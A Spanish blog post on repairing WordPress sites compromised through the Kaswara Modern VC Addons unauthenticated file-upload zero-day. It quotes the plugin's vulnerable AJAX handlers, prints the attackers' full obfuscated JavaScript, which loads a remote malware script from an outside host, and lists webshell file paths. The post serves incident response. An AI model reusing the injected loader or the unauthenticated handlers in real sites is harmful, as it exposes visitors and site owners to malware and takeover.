Vulnerabilidad 0-Day en plugin Kaswara Modern VC Addons: ¿Qué puedo hacer?

Actualización del 4 de mayo: Eliminación de la función vulnerable para agregar código Javascript.

El 20 de abril WPScan dio a conocer una vulnerabilidad en el plugin Kaswara Modern Visual Composer Addons, al día siguiente Wordfence también emitía una alerta de la amenaza, recomendando la eliminación inmediata del plugin, sin entrar mucho en detalle más que verificar la creación de las carpetas /wp-content/uploads/kaswara/icons/ y /wp-content/uploads/kaswara/fonts_icon/; y la posterior población de archivos maliciosos dentro de estas.

El 22 de abril Life in Hex entraba en detalles acerca del exploit, explicando que el archivo kaswara\includes\handlers\ajax_handler.php era el origen de la vulnerabilidad, específicamente una función utilizada para subir tipografías ya que esta no hace validación de los archivos subidos y ni siquiera verifica que la solicitud se origina por un usuario autenticado, a como podemos ver en el siguiente vídeo de Keisuke Tachibana.

Verificación del mecanismo de explotación de la vulnerabilidad. Keisuke Tachibana.

¿Qué pasos puedo tomar para arreglar la vulnerabilidad?

Tomar control de la carpeta utilizada por la vulnerabilidad:

Una vez que verificamos la existencia del plugin en nuestra instalación de WordPress procederemos a neutralizar el uso de la carpeta utilizada para subir los archivos maliciosos, eliminando todo el contenido subido a ella y cambiando los permisos de la carpeta a sólo lectura (chmod 444):

$ chmod 444 public_html/wp-content/uploads/kaswara/
Cambio de permisos a sólo lectura en la carpeta /public_html/wp-content/uploads/kaswara/
$ chmod 444 /public_html/wp-content/uploads/kaswara/

Eliminar el código vulnerable:

El siguiente paso es ubicar el archivo problemático:

/public_html/wp-content/plugins/kaswara/includes/handlers/ajax_handler.php:

//Font Icon Manager
add_action('wp_ajax_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback' );
add_action('wp_ajax_nopriv_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback');
function kaswara_uploadfonticon_handler_callback(){		
	if(isset($_POST['action'],$_POST['fontsetname'],$_FILES["fonticonzipfile"]) && trim($_POST['fontsetname']) != "" && trim($_POST['action']) == 'uploadFontIcon'){ 	
		$fonticonzipfile = $_FILES["fonticonzipfile"]["tmp_name"];
		Kaswara_Icon_Manager::upload_font_icon($fonticonzipfile,$_POST['fontsetname']);			
		Kaswara_Icon_Manager::get_font_icons_printer(Kaswara_Icon_Manager::get_font_icons()) .''.Kaswara_Icon_Manager::get_font_icons_load_single_style($_POST['fontsetname']);	
	}
	die();
}

add_action('wp_ajax_deleteFontIcon', 'kaswara_deletefonticon_handler_callback' );
add_action('wp_ajax_nopriv_deleteFontIcon', 'kaswara_deletefonticon_handler_callback');
function kaswara_deletefonticon_handler_callback(){	
	if(isset($_POST['action'],$_POST['iconSetName']) && trim($_POST['iconSetName']) != "" && trim($_POST['action']) == 'deleteFontIcon'){ 	
		Kaswara_Icon_Manager::delete_font_set($_POST['iconSetName']);		
	}
	die();
}

Lo más sencillo que podemos hacer es comentar todo el código que deseamos deshabilitar, de esta manera no se ejecutará ninguna acción cuando los atacantes realicen el llamado a la función de subida de tipografías:

//Font Icon Manager
add_action('wp_ajax_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback' );
add_action('wp_ajax_nopriv_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback');
function kaswara_uploadfonticon_handler_callback(){		
/* 	
	Inicio de la corrección del código con errores de Kaswara
	if(isset($_POST['action'],$_POST['fontsetname'],$_FILES["fonticonzipfile"]) && trim($_POST['fontsetname']) != "" && trim($_POST['action']) == 'uploadFontIcon'){ 	
		$fonticonzipfile = $_FILES["fonticonzipfile"]["tmp_name"];
		Kaswara_Icon_Manager::upload_font_icon($fonticonzipfile,$_POST['fontsetname']);			
		Kaswara_Icon_Manager::get_font_icons_printer(Kaswara_Icon_Manager::get_font_icons()) .''.Kaswara_Icon_Manager::get_font_icons_load_single_style($_POST['fontsetname']);	
	}
	Fin de la corrección del código con errores de Kaswara
*/
	die();
}

add_action('wp_ajax_deleteFontIcon', 'kaswara_deletefonticon_handler_callback' );
add_action('wp_ajax_nopriv_deleteFontIcon', 'kaswara_deletefonticon_handler_callback');
function kaswara_deletefonticon_handler_callback(){	
/* 	
	Iniciamos la eliminación "por si acaso" del código de eliminación de fuentes, ya que no subiremos más fuentes
	if(isset($_POST['action'],$_POST['iconSetName']) && trim($_POST['iconSetName']) != "" && trim($_POST['action']) == 'deleteFontIcon'){ 	
		Kaswara_Icon_Manager::delete_font_set($_POST['iconSetName']);		
	}
	Fin del código de eliminación de fuentes
*/
	die();
}

Eliminación del código Javascript que ejecuta redireccionamientos al cargar el sitio

Eliminaremos el comportamiento indeseado al cargar el sitio web afectado, para esto dentro del escritorio de WordPress debemos ir a Kaswara > Custom Settings > JS. Ahí podemos ver una línea de código ofuscado Javascript que se encarga de la redirección a sitios web con publicidad y malware, tenemos que eliminar este código y guardar los cambios:

var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
Código Javascript encargado de mostrar adware y malware al cargar un sitio web afectado.
Código Javascript encargado de mostrar adware y malware al cargar un sitio web afectado.

Después de eliminar el código Javascript tenemos que bloquear la posibilidad que éste sea insertado nuevamente sin nuestro consentimiento, para ello ubicamos la función de ingreso de código JS y CSS, siempre en archivo ajax_handler.php.

//Function TO Save the Custom Advanced JS / CSS / 
add_action('wp_ajax_kaswaraCustomCode', 'kaswara_custom_code_handler_callback' );
add_action('wp_ajax_nopriv_kaswaraCustomCode', 'kaswara_custom_code_handler_callback');
function kaswara_custom_code_handler_callback(){
	if(isset($_POST['action'], $_POST['customCSS'], $_POST['customJS'], $_POST['googleMapApi']) && trim($_POST['action']) == 'kaswaraCustomCode'){ 				 
		$kswrlug =kaswara_get_options_slug_plugin();
	 	kaswara_save_option($kswrlug.'-customCSS',base64_encode($_POST['customCSS']));
	 	kaswara_save_option($kswrlug.'-customJS',base64_encode( $_POST['customJS'] ));	 
	 	kaswara_save_option($kswrlug.'-googlemapsapi',$_POST['googleMapApi']);	 
	 	//kaswara_save_option($kswrlug.'-gMapsKey', $_POST['gMapsKey']);	 
	}
	wp_die();
}

Al igual que en handler anterior que se utilizaba para subir archivos, deshabilitamos el código utilizado para actualizar los campos “customJS” y “customCSS”, dentro de la tabla de opciones de wordpress en nuestra base de datos.

//Function TO Save the Custom Advanced JS / CSS / 
add_action('wp_ajax_kaswaraCustomCode', 'kaswara_custom_code_handler_callback' );
add_action('wp_ajax_nopriv_kaswaraCustomCode', 'kaswara_custom_code_handler_callback');
function kaswara_custom_code_handler_callback(){
    /* 
	Inicio de la corrección del código con errores que ingresa JS y CSS
	if(isset($_POST['action'], $_POST['customCSS'], $_POST['customJS'], $_POST['googleMapApi']) && trim($_POST['action']) == 'kaswaraCustomCode'){ 				 
		$kswrlug =kaswara_get_options_slug_plugin();
	 	kaswara_save_option($kswrlug.'-customCSS',base64_encode($_POST['customCSS']));
	 	kaswara_save_option($kswrlug.'-customJS',base64_encode( $_POST['customJS'] ));	 
	 	kaswara_save_option($kswrlug.'-googlemapsapi',$_POST['googleMapApi']);	 
	 	//kaswara_save_option($kswrlug.'-gMapsKey', $_POST['gMapsKey']);	 
	}
	Fin de la corrección del código con errores que ingresa JS y CSS
	*/
	wp_die();
}

Verificación de posteriores infecciones en el sitio web vulnerable:

Finalmente, en dependencia de la cantidad de tiempo desde que un sitio web fue atacado pueden existir más archivos afectados con código insertado por los atacantes, lo mejor que podemos hacer es instalar una herramienta como Wordfence para detectar archivos nuevos o modificados a los cuales se les habría inyectado código malicioso, eliminando el código problemático de los archivos de WordPress o eliminando los archivos creados durante la infección.

Ejemplo de un archivo afectado del núcleo de WordPress, detectado por Wordfence.
Ejemplo de un archivo afectado del núcleo de WordPress, detectado por Wordfence.
Ejemplo de un archivo nuevo con código malicioso, detectado por Wordfence.
Ejemplo de un archivo nuevo con código malicioso, detectado por Wordfence.

A continuación enumeraré una lista de algunos de los archivos malintecionados detectados el 15 de abril por Wordfence en uno de los sitios afectados por el exploit al plugin Kaswara:

  • /public_html/email_test.php
  • /public_html/gogo.php
  • /public_html/opa.php
  • /public_html/raiz.php
  • /public_html/up.php
  • /public_html/wp-contact.php
  • /public_html/xxtest.php
  • /public_html/wp-content/Office365/office/block_detectors.php
  • /public_html/wp-content/Office365/office/index.php
  • /public_html/wp-content/Office365/office/voicemail/block_detectors.php
  • /public_html/wp-content/Office365/office/voicemail/error.php
  • /public_html/wp-content/Office365/office/voicemail/index.htm
  • /public_html/wp-content/Office365/office/voicemail/index.php
  • /public_html/wp-content/Office365/office/voicemail/index2.php
  • /public_html/wp-content/Office365/office/voicemail/info.php
  • /public_html/wp-content/Office365/office/voicemail/info2.php
  • /public_html/wp-content/Office365/office/voicemail/office.php
  • /public_html/wp-content/share/ofde.html
  • /public_html/wp-content/share/settings.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/ali/see.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/up/up.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/xl/xleet.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/xll/xleet.php
  • /public_html/wp-content/wp-contact.php

Hasta el momento estas son las medidas que he puesto en práctica para anular las infecciones de 3 sitios web afectados, espero realmente que sean suficiente para poder limpiar los rastros de los ataques sufridos.

Fuentes:

  1. Kaswara exploit or how much Wordfence cares about user security.
  2. Kaswara Modern VC Addons (0-day) – Unauthenticated Arbitrary File Upload.
  3. PSA: Remove Kaswara Modern WPBakery Page Builder Addons Plugin Immediately.
  4. WordPress Plugin Kaswara Modern VC Addons 0-day Unauthenticated Arbitrary File Upload CVE-2021-24284

Scroll to Top